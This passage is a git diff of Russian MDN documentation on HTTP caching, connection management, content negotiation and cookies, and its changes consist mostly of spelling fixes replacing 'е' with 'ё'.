заголовку {{HTTPHeader("Vary")}}.</p> +<p>Запись в кеше может также состоять из множества ответов, различаемых по вторичному ключу, если при формировании ответа производится согласование данных. Подробнее об этом рассказано <a href="#Varying_responses">ниже</a>, в разделе, посвящённом заголовку {{HTTPHeader("Vary")}}.</p> <h2 id="Управление_кешированием"><span class="long_text short_text" id="result_box" lang="ru"><span>Управление</span> </span>кеш<span class="long_text short_text" lang="ru"><span>ированием</span></span></h2> @@ -89,23 +89,23 @@ Cache-Control: public <h4 id="Проверка_актуальности">Проверка актуальности</h4> -<p>При использовании директивы "must-revalidate" кеш обязан проверять статус ресурсов с истекшим сроком действия. Те копии, что утратили актуальность, использоваться не должны. Подробнее об этом рассказано ниже, в разделе <a href="#Cache_validation">Валидация кеша</a>.</p> +<p>При использовании директивы "must-revalidate" кеш обязан проверять статус ресурсов с истёкшим сроком действия. Те копии, что утратили актуальность, использоваться не должны. Подробнее об этом рассказано ниже, в разделе <a href="#Cache_validation">Валидация кеша</a>.</p> <pre class="notranslate">Cache-Control: must-revalidate</pre> <h3 id="Заголовок_Pragma">Заголовок <code>Pragma </code></h3> -<p>{{HTTPHeader("Pragma")}} является заголовком HTTP/1.0. Он не описан для HTTP-ответов и, таким образом, не может служить надежной заменой общему заголовку Cache-Control протокола HTTP/1.1, хотя его поведение аналогично "Cache-Control: no-cache" когда поле заголовка Cache-Control опущено в запросе. Использовать его следует только для совместимости с клиентами HTTP/1.0.</p> +<p>{{HTTPHeader("Pragma")}} является заголовком HTTP/1.0. Он не описан для HTTP-ответов и, таким образом, не может служить надёжной заменой общему заголовку Cache-Control протокола HTTP/1.1, хотя его поведение аналогично "Cache-Control: no-cache" когда поле заголовка Cache-Control опущено в запросе. Использовать его следует только для совместимости с клиентами HTTP/1.0.</p> -<h2 id="Свежесть_сохраненной_копии"><a id="Freshness" name="Freshness">Свежесть сохраненной копии</a></h2> +<h2 id="Свежесть_сохранённой_копии"><a id="Freshness" name="Freshness">Свежесть сохранённой копии</a></h2> -<p>Однажды попав в кеш, ресурс, теоретически, может храниться там вечно. Однако, поскольку объем хранилища конечен, записи периодически приходится оттуда удалять. Этот процесс называют <em>вытеснением данных из кеша</em> (cache eviction). Кроме того, ресурсы могут изменяться на сервере, поэтому кеш требуется обновлять. Поскольку HTTP является клиент-серверным протоколом, сервера не могут сами обращаться к кешам и клиентам при изменении ресурса; им необходимо договориться о сроке действия сохраненной копии. До его истечения ресурс считается <em>свежим </em>(fresh), после — <em>устаревшим </em>(stale). Алгоритмы вытеснения отдают предпочтение "свежим" ресурсам. Тем не менее, копия ресурса не удаляется из кеша сразу же по истечении ее срока действия; при получении запроса на устаревший ресурс кеш передаёт его дальше с заголовком {{HTTPHeader("If-None-Match")}} на случай, если копия все еще актуальна. Если это так, сервер возвращает заголовок {{HTTPStatus("304")}} <code>Not Modified</code> («не изменялось»), а тело ресурса не посылает, экономя тем самым трафик.</p> +<p>Однажды попав в кеш, ресурс, теоретически, может храниться там вечно. Однако, поскольку объем хранилища конечен, записи периодически приходится оттуда удалять. Этот процесс называют <em>вытеснением данных из кеша</em> (cache eviction). Кроме того, ресурсы могут изменяться на сервере, поэтому кеш требуется обновлять. Поскольку HTTP является клиент-серверным протоколом, сервера не могут сами обращаться к кешам и клиентам при изменении ресурса; им необходимо договориться о сроке действия сохранённой копии. До его истечения ресурс считается <em>свежим </em>(fresh), после — <em>устаревшим </em>(stale). Алгоритмы вытеснения отдают предпочтение "свежим" ресурсам. Тем не менее, копия ресурса не удаляется из кеша сразу же по истечении её срока действия; при получении запроса на устаревший ресурс кеш передаёт его дальше с заголовком {{HTTPHeader("If-None-Match")}} на случай, если копия все ещё актуальна. Если это так, сервер возвращает заголовок {{HTTPStatus("304")}} <code>Not Modified</code> («не изменялось»), а тело ресурса не посылает, экономя тем самым трафик.</p> <p>Вот пример того, как протекает этот процесс при использовании совместного кеша прокси:</p> <p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p> -<p>Срок действия (freshnessLifetime) вычисляется на основании нескольких заголовков. Если задан заголовок "Cache-control: max-age=N", то срок действия равен N. Если его нет, а это бывает очень часто, проверяется заголовок {{HTTPHeader("Expires")}}, и, если он есть, то срок действия берется равным значению заголовка Expires минус значение заголовка Date. Наконец, если нет ни того ни другого, смотрят заголовок Last-Modified. Если он есть, то срок действия равен значению заголовка Date минус значение заголовка Last-modified разделить на 10.<br> +<p>Срок действия (freshnessLifetime) вычисляется на основании нескольких заголовков. Если задан заголовок "Cache-control: max-age=N", то срок действия равен N. Если его нет, а это бывает очень часто, проверяется заголовок {{HTTPHeader("Expires")}}, и, если он есть, то срок действия берётся равным значению заголовка Expires минус значение заголовка Date. Наконец, если нет ни того ни другого, смотрят заголовок Last-Modified. Если он есть, то срок действия равен значению заголовка Date минус значение заголовка Last-modified разделить на 10.<br> Время устаревания (expirationTime) вычисляется следующим образом:</p> <pre class="notranslate">expirationTime = responseTime + freshnessLifetime - currentAge @@ -115,9 +115,9 @@ Cache-Control: public <h3 id="Обновление_статических_ресурсов_Revved_resources">Обновление статических ресурсов (Revved resources)</h3> -<p>Чем больше ресурсов может быть взято из кеша, тем быстрее сайт реагирует на запросы и тем выше его производительность. Из этих соображений их "срок годности" имеет смысл делать как можно большим. Однако, возникает проблема с ресурсами, которые обновляются редко и нерегулярно. Как раз их кеширование дает больше всего выгоды, но сильно затрудняет обновление. Такие ресурсы можно найти на любой веб-странице: файлы скриптов (JavaScript) и стилей (CSS) изменяются редко, но уж если это произошло, обновление надо произвести как можно быстрее.</p> +<p>Чем больше ресурсов может быть взято из кеша, тем быстрее сайт реагирует на запросы и тем выше его производительность. Из этих соображений их "срок годности" имеет смысл делать как можно большим. Однако, возникает проблема с ресурсами, которые обновляются редко и нерегулярно. Как раз их кеширование даёт больше всего выгоды, но сильно затрудняет обновление. Такие ресурсы можно найти на любой веб-странице: файлы скриптов (JavaScript) и стилей (CSS) изменяются редко, но уж если это произошло, обновление надо произвести как можно быстрее.</p> -<p>Веб-разработчики разработали метод, который Стив Сандерс (Steve Sounders) назвал <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>, что можно перевести как "оборачиваемость". Для редко обновляемых файлов используют особый способ именования: в их URL, обычно в имя файла, добавляют номер релиза или версии. Таким образом, каждая новая версия считается отдельным ресурсом, срок устаревания которого отодвинут далеко в будущее, как правило, на год, или больше. Недостатком этого метода является то, что для получения новых версий ресурса приходится обновлять все ссылки на него — это некоторое усложнение, справиться с которым разработчику помогает цепочка инструментов. Обновление статических ресурсов влечет за собой обновление и часто изменяемых ресурсов. Когда считываются первые, считываются и новые версии вторых.</p> +<p>Веб-разработчики разработали метод, который Стив Сандерс (Steve Sounders) назвал <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>, что можно перевести как "оборачиваемость". Для редко обновляемых файлов используют особый способ именования: в их URL, обычно в имя файла, добавляют номер релиза или версии. Таким образом, каждая новая версия считается отдельным ресурсом, срок устаревания которого отодвинут далеко в будущее, как правило, на год, или больше. Недостатком этого метода является то, что для получения новых версий ресурса приходится обновлять все ссылки на него — это некоторое усложнение, справиться с которым разработчику помогает цепочка инструментов. Обновление статических ресурсов влечёт за собой обновление и часто изменяемых ресурсов. Когда считываются первые, считываются и новые версии вторых.</p> <p>Этот метод имеет дополнительное достоинство: одновременное обновление двух кешированных ресурсов не приводит к ситуации, при которой устаревшая версия одного ресурса используется вместе новой версией другого. Это очень важно для сайтов с взаимосвязанными файлами стилей CSS или JS-скриптов — связь может возникнуть, например, из-за ссылок на одни и те же элементы HTML-страницы.</p> @@ -133,7 +133,7 @@ Cache-Control: public <h3 id="Заголовки_ETag">Заголовки ETag</h3> -<p>Заголовок ответа {{HTTPHeader("ETag")}} является непрозрачным для клиентского приложения (агента) значением, которое можно использовать в качестве сильного валидатора. Суть в том, что клиент, например, браузер, не знает, что представляет эта строка и не может предсказать, каким будет ее значение. Если в ответе присутствует заголовок <code>ETag</code>, клиент может транслировать его значение через заголовок {{HTTPHeader("If-None-Match")}} будущих запросов для валидации кешированного ресурса.</p> +<p>Заголовок ответа {{HTTPHeader("ETag")}} является непрозрачным для клиентского приложения (агента) значением, которое можно использовать в качестве сильного валидатора. Суть в том, что клиент, например, браузер, не знает, что представляет эта строка и не может предсказать, каким будет её значение. Если в ответе присутствует заголовок <code>ETag</code>, клиент может транслировать его значение через заголовок {{HTTPHeader("If-None-Match")}} будущих запросов для валидации кешированного ресурса.</p> <p>Заголовок ответа {{HTTPHeader("Last-Modified")}} можно использовать в качестве слабого валидатора. Слабым он считается из-за того, что имеет 1-секундное разрешение. Если в ответе присутствует заголовок <code>Last-Modified</code>, то для валидации кешированного документа клиент может выводить в запросах заголовок {{HTTPHeader("If-Modified-Since")}}.</p> @@ -143,7 +143,7 @@ Cache-Control: public <p>Заголовок HTTP-ответа {{HTTPHeader("Vary")}} определяет, как по заголовкам будущих запросов понять, может ли быть использована копия из кеша, или нужно запросить новые данные у сервера.</p> -<p>Если кеш получает запрос, который можно удовлетворить сохраненным в кеше ответом с заголовком <code>Vary</code>, то использовать этот ответ можно только при совпадении всех указанных в <code>Vary</code> полей заголовка исходного (сохраненного в кеше) запроса и нового запроса.</p> +<p>Если кеш получает запрос, который можно удовлетворить сохранённым в кеше ответом с заголовком <code>Vary</code>, то использовать этот ответ можно только при совпадении всех указанных в <code>Vary</code> полей заголовка исходного (сохранённого в кеше) запроса и нового запроса.</p> <p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p> diff --git a/files/ru/web/http/connection_management_in_http_1.x/index.html b/files/ru/web/http/connection_management_in_http_1.x/index.html index 4b75db2059..7b27e036fe 100644 --- a/files/ru/web/http/connection_management_in_http_1.x/index.html +++ b/files/ru/web/http/connection_management_in_http_1.x/index.html @@ -19,27 +19,27 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x <p>В HTTP/2 внесены дополнительные модели управления соединением.</p> </div> -<p>Важно отметить, что управление соединением в HTTP применяется к соединению между двумя последовательными узлами, и является пошаговым (<a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>) а не "конец-к-концу" (<a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end)</a>. Модель, используемая для соединения клиента с его первым прокси, может отличаться от модели соединения между прокси и конечным сервером (или любым из промежуточных серверов). Заголовки HTTP, вовлеченные в определение модели соединения, типа HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, являются <a href="/en-US/docs/Web/HTTP/Headers#hbh">пошаговыми</a> заголовками, значения которых могут изменяться промежуточными узлами.</p> +<p>Важно отметить, что управление соединением в HTTP применяется к соединению между двумя последовательными узлами, и является пошаговым (<a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>) а не "конец-к-концу" (<a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end)</a>. Модель, используемая для соединения клиента с его первым прокси, может отличаться от модели соединения между прокси и конечным сервером (или любым из промежуточных серверов). Заголовки HTTP, вовлечённые в определение модели соединения, типа HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, являются <a href="/en-US/docs/Web/HTTP/Headers#hbh">пошаговыми</a> заголовками, значения которых могут изменяться промежуточными узлами.</p> <h2 id="Краткосрочные_соединения_Short-lived_connections">Краткосрочные соединения (Short-lived connections)</h2> <p>Исходной моделью в HTTP, в HTTP/1.0 она же является моделью по умолчанию, являются <em>краткосрочные соединения</em> <em>(short-lived connections)</em>. Для каждого HTTP запроса используется отдельное соединение; это означает, что "рукопожатие" TCP происходит перед каждым из запросов HTTP, идущих один за другим.</p> -<p>TCP-рукопожатие само по себе затратно по времени, но TCP-соединения приспособились справляются с этой нагрузкой, превращаясь в устойчивые (или теплые) соединения. Краткосрочные соединения не используют это полезное свойство TCP, так что эффективность оказывается ниже оптимальной из-за того что передача осуществляется по новому, холодному соединению.</p> +<p>TCP-рукопожатие само по себе затратно по времени, но TCP-соединения приспособились справляются с этой нагрузкой, превращаясь в устойчивые (или тёплые) соединения. Краткосрочные соединения не используют это полезное свойство TCP, так что эффективность оказывается ниже оптимальной из-за того что передача осуществляется по новому, холодному соединению.</p> <p>Данная модель является моделью по умолчанию в HTTP/1.0 (при отсутствии заголовка {{HTTPHeader("Connection")}}, или когда его значением является<code> close</code>). В HTTP/1.1 такая модель используется только если заголовок {{HTTPHeader("Connection")}} посылается со значением <code>close</code>.</p> <div class="note"> -<p>Если речь не идет об очень старой, не поддерживающей постоянные соединения, системе, данную модель использовать нет смысла.</p> +<p>Если речь не идёт об очень старой, не поддерживающей постоянные соединения, системе, данную модель использовать нет смысла.</p> </div> <h2 id="Постоянные_соединения">Постоянные соединения</h2> -<p>Краткосрочные соединения имеют два больших недостатка: требуется значительное время на установку нового соединения, и то, что эффективность TCP-соединения улучшается только по прошествии некоторого времени от начала его использования (теплое соединение). Для решения этих проблем была разработана концепция <em>постоянного соединения (persistent connection</em>), еще до появления HTTP/1.1. Его также называют <em>соединением keep-alive</em>.</p> +<p>Краткосрочные соединения имеют два больших недостатка: требуется значительное время на установку нового соединения, и то, что эффективность TCP-соединения улучшается только по прошествии некоторого времени от начала его использования (тёплое соединение). Для решения этих проблем была разработана концепция <em>постоянного соединения (persistent connection</em>), ещё до появления HTTP/1.1. Его также называют <em>соединением keep-alive</em>.</p> -<p>Постоянным называют соединение, которое остается открытым некоторый период времени и может быть использовано для нескольких запросов, благодаря чему отпадает необходимость в новых рукопожатиях TCP и используются средства повышения производительности TCP. Это соединение остается открытым не навсегда: праздные соединения закрываются по истечению некоторого времени (для задания минимального времени, на протяжении которого соединение должно оставаться открытым, сервер может использовать заголовок {{HTTPHeader("Keep-Alive")}}).</p> +<p>Постоянным называют соединение, которое остаётся открытым некоторый период времени и может быть использовано для нескольких запросов, благодаря чему отпадает необходимость в новых рукопожатиях TCP и используются средства повышения производительности TCP. Это соединение остаётся открытым не навсегда: праздные соединения закрываются по истечению некоторого времени (для задания минимального времени, на протяжении которого соединение должно оставаться открытым, сервер может использовать заголовок {{HTTPHeader("Keep-Alive")}}).</p> -<p>У постоянных соединений есть свои недочеты; даже работая вхолостую, они потребляют ресурсы сервера, а при высокой нагрузке могут проводиться {{glossary("DoS attack", "DoS attacks")}}. В таких случаях большую эффективность могут обеспечить не постоянные соединения, которые закрываются как только освободятся.</p> +<p>У постоянных соединений есть свои недочёты; даже работая вхолостую, они потребляют ресурсы сервера, а при высокой нагрузке могут проводиться {{glossary("DoS attack", "DoS attacks")}}. В таких случаях большую эффективность могут обеспечить не постоянные соединения, которые закрываются как только освободятся.</p> <p>Соединения HTTP/1.0 по умолчанию не являются постоянными. Для превращения их в постоянные надо присвоить заголовку {{HTTPHeader("Connection")}} значение, отличное от <code>close</code> - обычно <code>retry-after.</code></p> @@ -51,17 +51,17 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x <p>Конвейерная обработка HTTP в современных браузерах не активирована по умолчанию:</p> <ul> - <li><a href="https://en.wikipedia.org/wiki/Proxy_server">Прокси</a> с багами все еще встречаются, что приводит к странным и непредсказуемым явлениям, которые веб-разработчикам трудно предсказать и диагностировать.</li> - <li>Конвейерную обработку сложно правильно реализовать: объем передаваемых ресурсов, используемая <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a> и эффективная пропускная способность имеют непосредственное влияние на те улучшения, что обеспечиваются конвейерной обработкой. Конвейерная обработка HTTP, таким образом, дает существенное улучшение не во всех случаях.</li> + <li><a href="https://en.wikipedia.org/wiki/Proxy_server">Прокси</a> с багами все ещё встречаются, что приводит к странным и непредсказуемым явлениям, которые веб-разработчикам трудно предсказать и диагностировать.</li> + <li>Конвейерную обработку сложно правильно реализовать: объем передаваемых ресурсов, используемая <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a> и эффективная пропускная способность имеют непосредственное влияние на те улучшения, что обеспечиваются конвейерной обработкой. Конвейерная обработка HTTP, таким образом, даёт существенное улучшение не во всех случаях.</li> <li>Конвейерная обработка подвержена проблеме <a href="https://en.wikipedia.org/wiki/Head-of-line_blocking">HOL</a>.</li> </ul> -<p>По этим причинам в HTTP/2 на смену конвейерной обработке пришел новый алгоритм, <em>мультиплексность (multiplexing</em>).</p> +<p>По этим причинам в HTTP/2 на смену конвейерной обработке пришёл новый алгоритм, <em>мультиплексность (multiplexing</em>).</p> </div> -<p>По умолчанию запросы <a href="/en/HTTP" title="en/HTTP">HTTP</a> идут последовательно. Новый запрос выдается только после того, как получен ответ на предыдущий. Из-за запаздываний в сети и ограничений на пропускную способность это может приводить к тому, что сервер <em>увидит </em>следующий запрос с существенной задержкой.</p> +<p>По умолчанию запросы <a href="/en/HTTP" title="en/HTTP">HTTP</a> идут последовательно. Новый запрос выдаётся только после того, как получен ответ на предыдущий. Из-за запаздываний в сети и ограничений на пропускную способность это может приводить к тому, что сервер <em>увидит </em>следующий запрос с существенной задержкой.</p> -<p>Конвейерная обработка это процесс отсылки последовательных запросов по одному постоянному соединению не дожидаясь ответа. Таким образом избегают задержки соединения. Теоретически, производительность можно было бы повысить также за счет упаковки двух запросов HTTP в одно и то же сообщение TCP. Типичный <a href="https://en.wikipedia.org/wiki/Maximum_segment_size">MSS</a> (Maximum Segment Size - Максимальный размер сегмента) достаточно велик, чтобы вместить несколько простых запросов, хотя требования на объем запросов HTTP продолжают расти.</p> +<p>Конвейерная обработка это процесс отсылки последовательных запросов по одному постоянному соединению не дожидаясь ответа. Таким образом избегают задержки соединения. Теоретически, производительность можно было бы повысить также за счёт упаковки двух запросов HTTP в одно и то же сообщение TCP. Типичный <a href="https://en.wikipedia.org/wiki/Maximum_segment_size">MSS</a> (Maximum Segment Size - Максимальный размер сегмента) достаточно велик, чтобы вместить несколько простых запросов, хотя требования на объем запросов HTTP продолжают расти.</p> <p>Не все типы запросов HTTP позволяют конвейерную обработку: только методы {{glossary("idempotent")}}, а именно {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} и {{HTTPMethod("DELETE")}}, можно перезапускать безопасно: в случае сбоя содержимое конвейерной передачи можно просто повторить.</p> @@ -75,10 +75,10 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x <p>Поскольку соединение HTTP/1.x является последовательными запросами, даже без упорядочивания, оно не может быть оптимальным без наличия достаточно большой пропускной способности. Браузеры находят решение в открытии нескольких соединений к каждому домену с отсылкой параллельных запросов. По умолчанию это когда-то было 2-3 соединения, но сейчас их число возросло примерно до 6 параллельных соединений. При попытке использовать большее количество есть риск спровоцировать защиту от <a href="/en-US/docs/Glossary/DOS_attack">DoS</a> со стороны сервера.</p> -<p>Если сервер хочет иметь более быстрый ответ от веб-сайта или приложения, он может открыть больше соединений. Например, вместо того, чтобы иметь все ресурсы на одном домене, скажем, <code>www.example.com</code>, он может распределить их по нескольким доменам, <code>www1.example.com</code>, <code>www2.example.com</code>, <code>www3.example.com</code>. Каждый из этих доменов разрешается на том же сервере, и веб-браузер откроет 6 соединений к каждому (в нашем примере число соединений возрастет до 18). Этот метод называют доменным разделением (<em>domain sharding)</em>.</p> +<p>Если сервер хочет иметь более быстрый ответ от веб-сайта или приложения, он может открыть больше соединений. Например, вместо того, чтобы иметь все ресурсы на одном домене, скажем, <code>www.example.com</code>, он может распределить их по нескольким доменам, <code>www1.example.com</code>, <code>www2.example.com</code>, <code>www3.example.com</code>. Каждый из этих доменов разрешается на том же сервере, и веб-браузер откроет 6 соединений к каждому (в нашем примере число соединений возрастёт до 18). Этот метод называют доменным разделением (<em>domain sharding)</em>.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13783/HTTPSharding.png" style="height: 727px; width: 463px;"></p> <h2 id="Заключение">Заключение</h2> -<p>Улучшение управлением соединениями дает существенное увеличение производительности в HTTP. В HTTP/1.1 и HTTP/1.0 использование постоянного соединения – по крайней мере пока оно не начинает работать вхолостую – приводит к лучшей производительности. Однако, проблемы с конвейерной обработкой привели к созданию более совершенных способов управления соединением, реализованными в HTTP/2.</p> +<p>Улучшение управлением соединениями даёт существенное увеличение производительности в HTTP. В HTTP/1.1 и HTTP/1.0 использование постоянного соединения – по крайней мере пока оно не начинает работать вхолостую – приводит к лучшей производительности. Однако, проблемы с конвейерной обработкой привели к созданию более совершенных способов управления соединением, реализованными в HTTP/2.</p> diff --git a/files/ru/web/http/content_negotiation/index.html b/files/ru/web/http/content_negotiation/index.html index 28d401e3ad..4c36d7e82b 100644 --- a/files/ru/web/http/content_negotiation/index.html +++ b/files/ru/web/http/content_negotiation/index.html @@ -11,14 +11,14 @@ translation_of: Web/HTTP/Content_negotiation <h2 id="Принципы_согласования_контента">Принципы согласования контента</h2> -<p>Конкретный документ называется <em>ресурсом</em>. Когда клиент хочет его получить, он запрашивает его используя его URL. Сервер использует этот URL, чтобы выбрать один из возможных вариантов - каждый вариант, называется <em>представлением</em>, – и возвращает этот вариант клиенту. Ресурс в общем, а также каждое из представлений, имеют определенный URL. Выбор конкретного представления при вызове ресурса определяется механизмом <em>согласования контента</em> и существует несколько способов согласования между клиентом и сервером.</p> +<p>Конкретный документ называется <em>ресурсом</em>. Когда клиент хочет его получить, он запрашивает его используя его URL. Сервер использует этот URL, чтобы выбрать один из возможных вариантов - каждый вариант, называется <em>представлением</em>, – и возвращает этот вариант клиенту. Ресурс в общем, а также каждое из представлений, имеют определённый URL. Выбор конкретного представления при вызове ресурса определяется механизмом <em>согласования контента</em> и существует несколько способов согласования между клиентом и сервером.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/16156/HTTPNego_ru.png" style="height: 311px; width: 767px;"></p> <p>Определение наиболее подходящего представления производится с помощью одного из двух механизмов:</p> <ul> - <li>Конкретные <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовки </a> клиента (<em>согласование на основе сервера </em> или <em>упреждающее согласование</em>), что является стандартным способом согласования определенного вида ресурса.</li> + <li>Конкретные <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовки </a> клиента (<em>согласование на основе сервера </em> или <em>упреждающее согласование</em>), что является стандартным способом согласования определённого вида ресурса.</li> <li><a href="/en-US/docs/Web/HTTP/Status">HTTP коды ответа</a> {{HTTPStatus("300")}} (Multiple Choices) или {{HTTPStatus("406")}} (Not Acceptable) (<em>согласование на основе агента</em> или <em>реактивное согласование</em>), используемые в качестве резервных механизмов.</li> </ul> @@ -37,16 +37,16 @@ translation_of: Web/HTTP/Content_negotiation <p>Согласование на стороне сервера является самым популярным способом согласования контента, но у него есть несколько недостатков:</p> <ul> - <li>У сервера нет всей информации о клиентском приложении. Даже с расширением Client Hints сервер не может знать всех возможностей браузера. В отличие от реактивного согласования, где клиент совершает выбор, выбор сервера всегда остается в каком-то смысле произвольным.</li> + <li>У сервера нет всей информации о клиентском приложении. Даже с расширением Client Hints сервер не может знать всех возможностей браузера. В отличие от реактивного согласования, где клиент совершает выбор, выбор сервера всегда остаётся в каком-то смысле произвольным.</li> <li>Информация, полученная от клиента, довольно подробная (сжатие заголовков протокола HTTP/2 отчасти решает эту проблему) и является источником утечки конфиденциальности (идентификация по HTTP).</li> <li>С увеличением количества представлений падает эффективность общих кешей и усложняется реализация сервера.</li> </ul> <h3 id="Заголовок_Accept">Заголовок <code>Accept</code></h3> -<p>Заголовок {{HTTPHeader("Accept")}} перечисляет MIME типы содержимого ресурса, которые клиент желает получить. Он представляет список MIME типов, разделенный запятыми, каждый из которых, опционально, снабжён коэффициентом желательности – параметром, определяющим относительный уровень желательности среди разных MIME типов.</p> +<p>Заголовок {{HTTPHeader("Accept")}} перечисляет MIME типы содержимого ресурса, которые клиент желает получить. Он представляет список MIME типов, разделённый запятыми, каждый из которых, опционально, снабжён коэффициентом желательности – параметром, определяющим относительный уровень желательности среди разных MIME типов.</p> -<p>{{HTTPHeader("Accept")}} определяется браузером, или любым другим клиентом, и может изменяться в зависимости от контекста, например, при получении страницы HTML, изображения, видео или скрипта – его содержимое будет различаться при запросе документа из строки адреса, через тег {{ HTMLElement("img") }}, {{ HTMLElement("video") }} или {{ HTMLElement("audio") }}. Браузеры могут использовать любое значение, которые они считают наиболее подходящим; можете ознакомиться со списком <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">значений по умолчанию, используемых распространенными браузерами</a>.</p> +<p>{{HTTPHeader("Accept")}} определяется браузером, или любым другим клиентом, и может изменяться в зависимости от контекста, например, при получении страницы HTML, изображения, видео или скрипта – его содержимое будет различаться при запросе документа из строки адреса, через тег {{ HTMLElement("img") }}, {{ HTMLElement("video") }} или {{ HTMLElement("audio") }}. Браузеры могут использовать любое значение, которые они считают наиболее подходящим; можете ознакомиться со списком <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">значений по умолчанию, используемых распространёнными браузерами</a>.</p> <h3 id="Заголовок_Accept-CH_experimental_inline">Заголовок <code>Accept-CH</code> {{experimental_inline}}</h3> @@ -83,7 +83,7 @@ translation_of: Web/HTTP/Content_negotiation <p>Заголовок {{HTTPHeader("Accept-Charset")}} указывает серверу какие кодировки текста поддерживает клиент. По традиции он имеет своё значение для каждой локали браузера, например, <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> установлен для западноевропейской локали.</p> -<p>В настоящее время, UTF-8 имеет серьёзную поддержку, является предпочтительным способом кодировки текста и гарантирует лучшую конфиденциальность за счет уменьшения разнообразия конфигураций, поэтому большая часть браузеров пропускает заголовок <code>Accept-Charset</code>: Internet Explorer 8, Safari 5, Opera 11 и Firefox 10 отказались от этого заголовка в запросах.</p> +<p>В настоящее время, UTF-8 имеет серьёзную поддержку, является предпочтительным способом кодировки текста и гарантирует лучшую конфиденциальность за счёт уменьшения разнообразия конфигураций, поэтому большая часть браузеров пропускает заголовок <code>Accept-Charset</code>: Internet Explorer 8, Safari 5, Opera 11 и Firefox 10 отказались от этого заголовка в запросах.</p> <h3 id="Заголовок_Accept-Encoding">Заголовок <code>Accept-Encoding</code></h3> diff --git a/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html index 043d2c19c0..e37f0d3b4d 100644 --- a/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html +++ b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html @@ -68,7 +68,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values <h2 id="Значения_для_изображений">Значения для изображений</h2> -<p>Если запрашивается изображение, например через HTML-элемент {{HTMLElement("img")}}, агент пользователя часто задает уточненный список подходящих MIME-типов.</p> +<p>Если запрашивается изображение, например через HTML-элемент {{HTMLElement("img")}}, агент пользователя часто задаёт уточнённый список подходящих MIME-типов.</p> <table class="standard-table"> <tbody> @@ -111,7 +111,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values <h2 id="Значения_для_видео">Значения для видео</h2> -<p>Если запрашивается видео через HTML-элемент {{HTMLElement("video")}}, в большинстве браузеров используется уточненное значение.</p> +<p>Если запрашивается видео через HTML-элемент {{HTMLElement("video")}}, в большинстве браузеров используется уточнённое значение.</p> <table class="standard-table"> <tbody> @@ -145,7 +145,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values <h2 id="Значения_для_аудиофайлов">Значения для аудиофайлов</h2> -<p>Если запрашивается аудиофайл, например через HTML-элемент {{HTMLElement("audio")}}, в большинстве браузеров используется уточненное значение.</p> +<p>Если запрашивается аудиофайл, например через HTML-элемент {{HTMLElement("audio")}}, в большинстве браузеров используется уточнённое значение.</p> <table class="standard-table"> <tbody> @@ -179,7 +179,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values <h2 id="Значения_для_скриптов">Значения для скриптов</h2> -<p>Если запрашивается скрипт, например через HTML-элемент {{HTMLElement("script")}}, в некоторых браузерах используется уточненное значение.</p> +<p>Если запрашивается скрипт, например через HTML-элемент {{HTMLElement("script")}}, в некоторых браузерах используется уточнённое значение.</p> <table class="standard-table"> <tbody> @@ -213,7 +213,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values <h2 id="Значения_для_таблиц_стилей_CSS">Значения для таблиц стилей CSS</h2> -<p>Если запрашивается таблица стилей CSS через HTML-элемент <code><link rel="stylesheet"></code>, в большинстве браузеров используется уточненное значение.</p> +<p>Если запрашивается таблица стилей CSS через HTML-элемент <code><link rel="stylesheet"></code>, в большинстве браузеров используется уточнённое значение.</p> <table class="standard-table"> <tbody> diff --git a/files/ru/web/http/cookies/index.html b/files/ru/web/http/cookies/index.html index 52e3a21943..cef15e96f2 100644 --- a/files/ru/web/http/cookies/index.html +++ b/files/ru/web/http/cookies/index.html @@ -19,7 +19,7 @@ original_slug: Web/HTTP/Куки <p>До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> and <code>sessionStorage</code>) и<a href="/en-US/docs/Web/API/IndexedDB_API"> IndexedDB</a>.</p> <div class="note"> -<p>Чтобы посмотреть сохраненные cookies (и какие еще способы хранения данных использует веб-страница), можно использовать <a 